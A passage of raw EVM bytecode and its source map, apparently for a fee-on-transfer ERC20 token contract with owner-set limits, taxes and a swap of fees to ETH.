90506001600160a01b03831663a9059cbb336040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af115801561093f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610963919061181e565b50505050565b5f546001600160a01b031633146109925760405162461bcd60e51b815260040161040090611673565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b03163314610a035760405162461bcd60e51b815260040161040090611673565b610a0f6009600a61179c565b610a1d90633b9aca006117aa565b600d55610a2c6009600a61179c565b610a3a90633b9aca006117aa565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf610a6a6009600a61179c565b610a7890633b9aca006117aa565b60405190815260200160405180910390a1565b5f6103cd338484610b85565b5f546001600160a01b03163314610ac05760405162461bcd60e51b815260040161040090611673565b6012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610aff5760405162461bcd60e51b81526004016104009061183d565b6001600160a01b038216610b255760405162461bcd60e51b815260040161040090611881565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610be95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610400565b6001600160a01b038216610c4b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610400565b5f8111610cac5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610400565b5f80546001600160a01b03858116911614801590610cd757505f546001600160a01b03848116911614155b15611022576012546001600160a01b038581169116148015610d0757506011546001600160a01b03848116911614155b8015610d2b57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e8a57601254600160a01b900460ff16610d815760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610400565b610da760646108dd600954600c5411610d9c57600554610da0565b6007545b859061120e565b9050600d54821115610dfb5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610400565b600e5482610e1d856001600160a01b03165f9081526002602052604090205490565b610e2791906118c3565b1115610e755760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610400565b600c8054905f610e84836118d6565b91905055505b6012546001600160a01b03848116911614801590610ec057506001600160a01b0383165f9081526003602052604090205460ff16155b15610f3f57600e5482610ee7856001600160a01b03165f9081526002602052604090205490565b610ef191906118c3565b1115610f3f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610400565b6012546001600160a01b038481169116148015610f6557506001600160a01b0384163014155b15610f9257610f8f60646108dd600a54600c5411610f8557600654610da0565b600854859061120e565b90505b601254600160a81b900460ff16158015610fb957506012546001600160a01b038481169116145b8015610fce5750601254600160b01b900460ff165b8015610fdd5750600b54600c54115b1561102257305f90815260026020526040902054600f54811115611018576110186110138461100e846010546112d4565b6112d4565b6112e8565b611020611458565b505b801561109a57305f90815260026020526040902054611041908261148e565b305f81815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110919085815260200190565b60405180910390a35b6001600160a01b0384165f908152600260205260409020546110bc90836114ec565b6001600160a01b0385165f908152600260205260409020556110ff6110e183836114ec565b6001600160a01b0385165f908152600260205260409020549061148e565b6001600160a01b038085165f8181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61114885856114ec565b60405190815260200160405180910390a350505050565b5f81848411156111825760405162461bcd60e51b81526004016104009190611559565b505f61118e84866118ee565b95945050505050565b6001600160a01b0383166111bd5760405162461bcd60e51b81526004016104009061183d565b6001600160a01b0382166111e35760405162461bcd60e51b815260040161040090611881565b6001600160a01b039283165f9081526001602090815260408083209490951682529290925291902055565b5f825f0361121d57505f6103d1565b5f61122883856117aa565b9050826112358583611901565b1461128c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610400565b9392505050565b5f61128c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061152d565b5f8183116112e2578261128c565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061132e5761132e611920565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611385573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113a991906117c1565b816001815181106113bc576113bc611920565b6001600160a01b0392831660209182029290920101526011546113e29130911684610ad9565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141a9085905f90869030904290600401611934565b5f604051808303815f87803b158015611431575f80fd5b505af1158015611443573d5f803e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b03909116904780156108fc02915f818181858888f1935050505015801561043d573d5f803e3d5ffd5b5f8061149a83856118c3565b90508381101561128c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610400565b5f61128c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061115f565b5f818361154d5760405162461bcd60e51b81526004016104009190611559565b505f61118e8486611901565b5f602080835283518060208501525f5b8181101561158557858101830151858201604001528201611569565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461043d575f80fd5b5f80604083850312156115ca575f80fd5b82356115d5816115a5565b946020939093013593505050565b5f805f606084860312156115f5575f80fd5b8335611600816115a5565b92506020840135611610816115a5565b929592945050506040919091013590565b5f60208284031215611631575f80fd5b813561128c816115a5565b5f806040838503121561164d575f80fd5b8235611658816115a5565b91506020830135611668816115a5565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156116f657815f19048211156116dc576116dc6116a8565b808516156116e957918102915b93841c93908002906116c1565b509250929050565b5f8261170c575060016103d1565b8161171857505f6103d1565b816001811461172e576002811461173857611754565b60019150506103d1565b60ff841115611749576117496116a8565b50506001821b6103d1565b5060208310610133831016604e8410600b8410161715611777575081810a6103d1565b61178183836116bc565b805f1904821115611794576117946116a8565b029392505050565b5f61128c60ff8416836116fe565b80820281158282048414176103d1576103d16116a8565b5f602082840312156117d1575f80fd5b815161128c816115a5565b5f805f606084860312156117ee575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611817575f80fd5b5051919050565b5f6020828403121561182e575f80fd5b8151801515811461128c575f80fd5b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b808201808211156103d1576103d16116a8565b5f600182016118e7576118e76116a8565b5060010190565b818103818111156103d1576103d16116a8565b5f8261191b57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119845784516001600160a01b03168352938301939183019160010161195f565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220264ce00ea56c94ac9d8c2fc55049123ecf646f81d1cf83617ec1f2e38c9e666f64736f6c63430008180033
Deployed Bytecode Sourcemap
3581:7902:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5279:83;;;;;;;;;;-1:-1:-1;5349:5:0;;;;;;;;;;;;-1:-1:-1;;;5349:5:0;;;;5279:83;;;;;;;:::i;:::-;;;;;;;;6727:161;;;;;;;;;;-1:-1:-1;6727:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6727:161:0;1023:187:1;4608:45:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4608:45:0;1215:177:1;10233:157:0;;;;;;;;;;;;;:::i;:::-;;5556:95;;;;;;;;;;;;;:::i;6408:311::-;;;;;;;;;;-1:-1:-1;6408:311:0;;;;;:::i;:::-;;:::i;10640:685::-;;;;;;;;;;-1:-1:-1;10640:685:0;;;;;:::i;:::-;;:::i;5465:83::-;;;;;;;;;;-1:-1:-1;5465:83:0;;4249:1;2252:36:1;;2240:2;2225:18;5465:83:0;2110:184:1;10398:234:0;;;;;;;;;;-1:-1:-1;10398:234:0;;;;;:::i;:::-;;:::i;5659:121::-;;;;;;;;;;-1:-1:-1;5659:121:0;;;;;:::i;:::-;-1:-1:-1;;;;;5752:20:0;5725:7;5752:20;;;:11;:20;;;;;;;5659:121;2662:148;;;;;;;;;;;;;:::i;9966:159::-;;;;;;;;;;;;;:::i;4438:49::-;;;;;;;;;;;;;;;;2448:79;;;;;;;;;;-1:-1:-1;2486:7:0;2513:6;2448:79;;-1:-1:-1;;;;;2513:6:0;;;2445:51:1;;2433:2;2418:18;2448:79:0;2299:203:1;4494:49:0;;;;;;;;;;;;;;;;5370:87;;;;;;;;;;-1:-1:-1;5442:7:0;;;;;;;;;;;;-1:-1:-1;;;5442:7:0;;;;5370:87;;5788:167;;;;;;;;;;-1:-1:-1;5788:167:0;;;;;:::i;:::-;;:::i;4550:51::-;;;;;;;;;;;;;;;;11335:108;;;;;;;;;;;;;:::i;6259:141::-;;;;;;;;;;-1:-1:-1;6259:141:0;;;;;:::i;:::-;-1:-1:-1;;;;;6367:16:0;;;6340:7;6367:16;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;6259:141;6727:161;6802:4;6819:39;283:10;6842:7;6851:6;6819:8;:39::i;:::-;-1:-1:-1;6876:4:0;6727:161;;;;;:::o;10233:157::-;2575:6;;-1:-1:-1;;;;;2575:6:0;283:10;2575:22;2567:67;;;;-1:-1:-1;;;2567:67:0;;;;;;;:::i;:::-;;;;;;;;;10316:1:::1;10292:21;:25;10284:34;;;::::0;::::1;;10329:53;::::0;283:10;;10360:21:::1;10329:53:::0;::::1;;;::::0;::::1;::::0;;;10360:21;283:10;10329:53;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;10233:157::o:0;5556:95::-;5609:7;4308:15;4249:1;4308:2;:15;:::i;:::-;4292:31;;:13;:31;:::i;:::-;5629:14;;5556:95;:::o;6408:311::-;6506:4;6523:36;6533:6;6541:9;6552:6;6523:9;:36::i;:::-;6570:119;6579:6;283:10;6601:87;6637:6;6601:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6601:17:0;;;;;;:9;:17;;;;;;;;283:10;6601:31;;;;;;;;;;:35;:87::i;:::-;6570:8;:119::i;:::-;-1:-1:-1;6707:4:0;6408:311;;;;;:::o;10640:685::-;2575:6;;-1:-1:-1;;;;;2575:6:0;283:10;2575:22;2567:67;;;;-1:-1:-1;;;2567:67:0;;;;;;;:::i;:::-;10725:11:::1;::::0;-1:-1:-1;;;10725:11:0;::::1;;;10724:12;10716:47;;;::::0;-1:-1:-1;;;10716:47:0;;5145:2:1;10716:47:0::1;::::0;::::1;5127:21:1::0;5184:2;5164:18;;;5157:30;5223:25;5203:18;;;5196:53;5266:18;;10716:47:0::1;4943:347:1::0;10716:47:0::1;10774:15;:80:::0;;-1:-1:-1;;;;;;10774:80:0::1;10811:42;10774:80:::0;;::::1;::::0;;;10899:25:::1;::::0;;-1:-1:-1;;;10899:25:0;;;;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;10811:42;10899:25:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10881:55:0::1;;10945:4;10952:15;;;;;;;;;-1:-1:-1::0;;;;;10952:15:0::1;-1:-1:-1::0;;;;;10952:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10881:94;::::0;-1:-1:-1;;;;;;10881:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5781:15:1;;;10881:94:0::1;::::0;::::1;5763:34:1::0;5833:15;;5813:18;;;5806:43;5698:18;;10881:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10865:13;:110:::0;;-1:-1:-1;;;;;;10865:110:0::1;-1:-1:-1::0;;;;;10865:110:0;;::::1;;::::0;;11018:15:::1;::::0;10986:58:::1;::::0;11003:4:::1;::::0;11018:15:::1;4308;4249:1;4308:2;:15;:::i;:::-;4292:31;::::0;:13:::1;:31;:::i;10986:58::-;11053:13;::::0;11045:42:::1;::::0;-1:-1:-1;;;;;11053:13:0::1;11068:9:::0;4308:15:::1;4249:1;4308:2;:15;:::i;:::-;4292:31;::::0;:13:::1;:31;:::i;:::-;11045:7;:42::i;:::-;11098:15;::::0;-1:-1:-1;;;;;11098:15:0::1;:31;11137:21;11168:4;11174:24;11168:4:::0;-1:-1:-1;;;;;5752:20:0;5725:7;5752:20;;;:11;:20;;;;;;;5659:121;11174:24:::1;11199:1;11201::::0;11203:7:::1;2486::::0;2513:6;-1:-1:-1;;;;;2513:6:0;;2448:79;11203:7:::1;11098:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11098:129:0;;;-1:-1:-1;;;;;6219:15:1;;;11098:129:0::1;::::0;::::1;6201:34:1::0;6251:18;;;6244:34;;;;6294:18;;;6287:34;;;;6337:18;;;6330:34;6401:15;;;6380:19;;;6373:44;11211:15:0::1;6433:19:1::0;;;6426:35;6135:19;;11098:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;;;;11238:30:0::1;;::::0;;;:19:::1;:30;::::0;;;;:37;;-1:-1:-1;;11238:37:0::1;11271:4;11238:37;::::0;;11286:10:::1;:31:::0;;-1:-1:-1;;;;;;11286:31:0::1;::::0;;::::1;::::0;;10640:685::o;10398:234::-;2575:6;;-1:-1:-1;;;;;2575:6:0;283:10;2575:22;2567:67;;;;-1:-1:-1;;;2567:67:0;;;;;;;:::i;:::-;10502:41:::1;::::0;-1:-1:-1;;;10502:41:0;;10537:4:::1;10502:41;::::0;::::1;2445:51:1::0;10484:15:0::1;::::0;10502:63:::1;::::0;10561:3:::1;::::0;10502:54:::1;::::0;10548:7;;-1:-1:-1;;;;;10502:26:0;::::1;::::0;::::1;::::0;2418:18:1;;10502:41:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:45:::0;::::1;:54::i;:::-;:58:::0;::::1;:63::i;:::-;10484:81:::0;-1:-1:-1;;;;;;10576:25:0;::::1;;283:10:::0;10576:48:::1;::::0;-1:-1:-1;;;;;;10576:48:0::1;::::0;;;;;;-1:-1:-1;;;;;7164:32:1;;;10576:48:0::1;::::0;::::1;7146:51:1::0;7213:18;;;7206:34;;;7119:18;;10576:48:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10473:159;10398:234:::0;;:::o;2662:148::-;2575:6;;-1:-1:-1;;;;;2575:6:0;283:10;2575:22;2567:67;;;;-1:-1:-1;;;2567:67:0;;;;;;;:::i;:::-;2769:1:::1;2753:6:::0;;2732:40:::1;::::0;-1:-1:-1;;;;;2753:6:0;;::::1;::::0;2732:40:::1;::::0;2769:1;;2732:40:::1;2800:1;2783:19:::0;;-1:-1:-1;;;;;;2783:19:0::1;::::0;;2662:148::o;9966:159::-;2575:6;;-1:-1:-1;;;;;2575:6:0;283:10;2575:22;2567:67;;;;-1:-1:-1;;;2567:67:0;;;;;;;:::i;:::-;4308:15:::1;4249:1;4308:2;:15;:::i;:::-;4292:31;::::0;:13:::1;:31;:::i;:::-;10019:12;:22:::0;4308:15:::1;4249:1;4308:2;:15;:::i;:::-;4292:31;::::0;:13:::1;:31;:::i;:::-;10052:14;:22:::0;10090:27:::1;4308:15;4249:1;4308:2;:15;:::i;:::-;4292:31;::::0;:13:::1;:31;:::i;:::-;10090:27;::::0;1361:25:1;;;1349:2;1334:18;10090:27:0::1;;;;;;;9966:159::o:0;5788:167::-;5866:4;5883:42;283:10;5907:9;5918:6;5883:9;:42::i;11335:108::-;2575:6;;-1:-1:-1;;;;;2575:6:0;283:10;2575:22;2567:67;;;;-1:-1:-1;;;2567:67:0;;;;;;;:::i;:::-;11388:11:::1;:18:::0;;-1:-1:-1;;;;11417:18:0;-1:-1:-1;;;11417:18:0;;;11335:108::o;6896:333::-;-1:-1:-1;;;;;6989:19:0;;6981:68;;;;-1:-1:-1;;;6981:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7068:21:0;;7060:68;;;;-1:-1:-1;;;7060:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7139:16:0;;;;;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;:34;;;7189:32;;1361:25:1;;;7189:32:0;;1334:18:1;7189:32:0;;;;;;;6896:333;;;:::o;7349:2008::-;-1:-1:-1;;;;;7437:18:0;;7429:68;;;;-1:-1:-1;;;7429:68:0;;8543:2:1;7429:68:0;;;8525:21:1;8582:2;8562:18;;;8555:30;8621:34;8601:18;;;8594:62;-1:-1:-1;;;8672:18:1;;;8665:35;8717:19;;7429:68:0;8341:401:1;7429:68:0;-1:-1:-1;;;;;7516:16:0;;7508:64;;;;-1:-1:-1;;;7508:64:0;;8949:2:1;7508:64:0;;;8931:21:1;8988:2;8968:18;;;8961:30;9027:34;9007:18;;;9000:62;-1:-1:-1;;;9078:18:1;;;9071:33;9121:19;;7508:64:0;8747:399:1;7508:64:0;7600:1;7591:6;:10;7583:64;;;;-1:-1:-1;;;7583:64:0;;9353:2:1;7583:64:0;;;9335:21:1;9392:2;9372:18;;;9365:30;9431:34;9411:18;;;9404:62;-1:-1:-1;;;9482:18:1;;;9475:39;9531:19;;7583:64:0;9151:405:1;7583:64:0;7658:17;2513:6;;-1:-1:-1;;;;;7692:15:0;;;2513:6;;7692:15;;;;:32;;-1:-1:-1;2486:7:0;2513:6;-1:-1:-1;;;;;7711:13:0;;;2513:6;;7711:13;;7692:32;7688:1301;;;7755:13;;-1:-1:-1;;;;;7747:21:0;;;7755:13;;7747:21;:55;;;;-1:-1:-1;7786:15:0;;-1:-1:-1;;;;;7772:30:0;;;7786:15;;7772:30;;7747:55;:84;;;;-1:-1:-1;;;;;;7808:23:0;;;;;;:19;:23;;;;;;;;7806:25;7747:84;7743:484;;;7861:11;;-1:-1:-1;;;7861:11:0;;;;7853:44;;;;-1:-1:-1;;;7853:44:0;;9763:2:1;7853:44:0;;;9745:21:1;9802:2;9782:18;;;9775:30;-1:-1:-1;;;9821:18:1;;;9814:51;9882:18;;7853:44:0;9561:345:1;7853:44:0;7928:76;8000:3;7928:67;7950:15;;7940:9;;:25;7939:55;;7980:14;;7939:55;;;7967:12;;7939:55;7928:6;;:10;:67::i;:76::-;7916:88;;8041:12;;8031:6;:22;;8023:60;;;;-1:-1:-1;;;8023:60:0;;10113:2:1;8023:60:0;;;10095:21:1;10152:2;10132:18;;;10125:30;10191:27;10171:18;;;10164:55;10236:18;;8023:60:0;9911:349:1;8023:60:0;8136:14;;8126:6;8110:13;8120:2;-1:-1:-1;;;;;5752:20:0;5725:7;5752:20;;;:11;:20;;;;;;;5659:121;8110:13;:22;;;;:::i;:::-;:40;;8102:79;;;;-1:-1:-1;;;8102:79:0;;10597:2:1;8102:79:0;;;10579:21:1;10636:2;10616:18;;;10609:30;10675:28;10655:18;;;10648:56;10721:18;;8102:79:0;10395:350:1;8102:79:0;8200:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7743:484;8253:13;;-1:-1:-1;;;;;8247:19:0;;;8253:13;;8247:19;;;;:48;;-1:-1:-1;;;;;;8272:23:0;;;;;;:19;:23;;;;;;;;8270:25;8247:48;8243:168;;;8350:14;;8340:6;8324:13;8334:2;-1:-1:-1;;;;;5752:20:0;5725:7;5752:20;;;:11;:20;;;;;;;5659:121;8324:13;:22;;;;:::i;:::-;:40;;8316:79;;;;-1:-1:-1;;;8316:79:0;;10597:2:1;8316:79:0;;;10579:21:1;10636:2;10616:18;;;10609:30;10675:28;10655:18;;;10648:56;10721:18;;8316:79:0;10395:350:1;8316:79:0;8436:13;;-1:-1:-1;;;;;8430:19:0;;;8436:13;;8430:19;:44;;;;-1:-1:-1;;;;;;8453:21:0;;8469:4;8453:21;;8430:44;8427:175;;;8507:79;8582:3;8507:70;8529:16;;8519:9;;:26;8518:58;;8561:15;;8518:58;;;8547:13;;8507:6;;:10;:70::i;:79::-;8495:91;;8427:175;8623:6;;-1:-1:-1;;;8623:6:0;;;;8622:7;:30;;;;-1:-1:-1;8639:13:0;;-1:-1:-1;;;;;8633:19:0;;;8639:13;;8633:19;8622:30;:45;;;;-1:-1:-1;8656:11:0;;-1:-1:-1;;;8656:11:0;;;;8622:45;:77;;;;;8681:18;;8671:9;;:28;8622:77;8618:360;;;8769:4;8720:28;5752:20;;;:11;:20;;;;;;8818:17;;8797:38;;8794:136;;;8858:72;8880:49;8884:6;8891:37;8895:20;8916:11;;8891:3;:37::i;:::-;8880:3;:49::i;:::-;8858:21;:72::i;:::-;8949:13;:11;:13::i;:::-;8701:277;8618:360;9004:11;;9001:165;;9076:4;9056:26;;;;:11;:26;;;;;;:41;;9087:9;9056:30;:41::i;:::-;9049:4;9029:26;;;;:11;:26;;;;;;;:68;;;;9115:39;;-1:-1:-1;;;;;9115:39:0;;;;;;;9144:9;1361:25:1;;1349:2;1334:18;;1215:177;9115:39:0;;;;;;;;9001:165;-1:-1:-1;;;;;9194:17:0;;;;;;:11;:17;;;;;;:29;;9216:6;9194:21;:29::i;:::-;-1:-1:-1;;;;;9176:17:0;;;;;;:11;:17;;;;;:47;9250:42;9270:21;:6;9281:9;9270:10;:21::i;:::-;-1:-1:-1;;;;;9250:15:0;;;;;;:11;:15;;;;;;;:19;:42::i;:::-;-1:-1:-1;;;;;9234:15:0;;;;;;;:11;:15;;;;;:58;;;;9308:41;;;9327:21;:6;9338:9;9327:10;:21::i;:::-;9308:41;;1361:25:1;;;1349:2;1334:18;9308:41:0;;;;;;;7418:1939;7349:2008;;;:::o;1340:190::-;1426:7;1462:12;1454:6;;;;1446:29;;;;-1:-1:-1;;;1446:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1486:9:0;1498:5;1502:1;1498;:5;:::i;:::-;1486:17;1340:190;-1:-1:-1;;;;;1340:190:0:o;5963:284::-;-1:-1:-1;;;;;6055:19:0;;6047:68;;;;-1:-1:-1;;;6047:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6134:21:0;;6126:68;;;;-1:-1:-1;;;6126:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6205:16:0;;;;;;;:9;:16;;;;;;;;:25;;;;;;;;;;;;;:34;5963:284::o;1538:246::-;1596:7;1620:1;1625;1620:6;1616:47;;-1:-1:-1;1650:1:0;1643:8;;1616:47;1673:9;1685:5;1689:1;1685;:5;:::i;:::-;1673:17;-1:-1:-1;1718:1:0;1709:5;1713:1;1673:17;1709:5;:::i;:::-;:10;1701:56;;;;-1:-1:-1;;;1701:56:0;;11447:2:1;1701:56:0;;;11429:21:1;11486:2;11466:18;;;11459:30;11525:34;11505:18;;;11498:62;-1:-1:-1;;;11576:18:1;;;11569:31;11617:19;;1701:56:0;11245:397:1;1701:56:0;1775:1;1538:246;-1:-1:-1;;;1538:246:0:o;1792:132::-;1850:7;1877:39;1881:1;1884;1877:39;;;;;;;;;;;;;;;;;:3;:39::i;9367:98::-;9424:7;9451:1;9449;:3;9448:9;;9456:1;9448:9;;;-1:-1:-1;9454:1:0;9367:98;-1:-1:-1;9367:98:0:o;9473:485::-;4919:6;:13;;-1:-1:-1;;;;4919:13:0;-1:-1:-1;;;4919:13:0;;;9579:16:::1;::::0;;9593:1:::1;9579:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9579:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9579:16:0::1;9555:40;;9624:4;9606;9611:1;9606:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9606:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9650:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9650:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9606:7;;9650:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9640:4;9645:1;9640:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9640:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9715:15:::1;::::0;9683:61:::1;::::0;9700:4:::1;::::0;9715:15:::1;9733:10:::0;9683:8:::1;:61::i;:::-;9755:15;::::0;:195:::1;::::0;-1:-1:-1;;;9755:195:0;;-1:-1:-1;;;;;9755:15:0;;::::1;::::0;:66:::1;::::0;:195:::1;::::0;9836:10;;9755:15:::1;::::0;9877:4;;9904::::1;::::0;9924:15:::1;::::0;9755:195:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4955:6:0;:14;;-1:-1:-1;;;;4955:14:0;;;-1:-1:-1;;;;9473:485:0:o;10133:92::-;10175:10;;:42;;-1:-1:-1;;;;;10175:10:0;;;;10195:21;10175:42;;;;;:10;:42;:10;:42;10195:21;10175:10;:42;;;;;;;;;;;;;;;;;;;1009:179;1067:7;;1099:5;1103:1;1099;:5;:::i;:::-;1087:17;;1128:1;1123;:6;;1115:46;;;;-1:-1:-1;;;1115:46:0;;13098:2:1;1115:46:0;;;13080:21:1;13137:2;13117:18;;;13110:30;13176:29;13156:18;;;13149:57;13223:18;;1115:46:0;12896:351:1;1196:136:0;1254:7;1281:43;1285:1;1288;1281:43;;;;;;;;;;;;;;;;;:3;:43::i;1932:189::-;2018:7;2053:12;2046:5;2038:28;;;;-1:-1:-1;;;2038:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2077:9:0;2089:5;2093:1;2089;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;1858:247::-;1917:6;1970:2;1958:9;1949:7;1945:23;1941:32;1938:52;;;1986:1;1983;1976:12;1938:52;2025:9;2012:23;2044:31;2069:5;2044:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:356::-;3102:2;3084:21;;;3121:18;;;3114:30;3180:34;3175:2;3160:18;;3153:62;3247:2;3232:18;;2900:356::o;3261:127::-;3322:10;3317:3;3313:20;3310:1;3303:31;3353:4;3350:1;3343:15;3377:4;3374:1;3367:15;3393:416;3482:1;3519:5;3482:1;3533:270;3554:7;3544:8;3541:21;3533:270;;;3613:4;3609:1;3605:6;3601:17;3595:4;3592:27;3589:53;;;3622:18;;:::i;:::-;3672:7;3662:8;3658:22;3655:55;;;3692:16;;;;3655:55;3771:22;;;;3731:15;;;;3533:270;;;3537:3;3393:416;;;;;:::o;3814:806::-;3863:5;3893:8;3883:80;;-1:-1:-1;3934:1:1;3948:5;;3883:80;3982:4;3972:76;;-1:-1:-1;4019:1:1;4033:5;;3972:76;4064:4;4082:1;4077:59;;;;4150:1;4145:130;;;;4057:218;;4077:59;4107:1;4098:10;;4121:5;;;4145:130;4182:3;4172:8;4169:17;4166:43;;;4189:18;;:::i;:::-;-1:-1:-1;;4245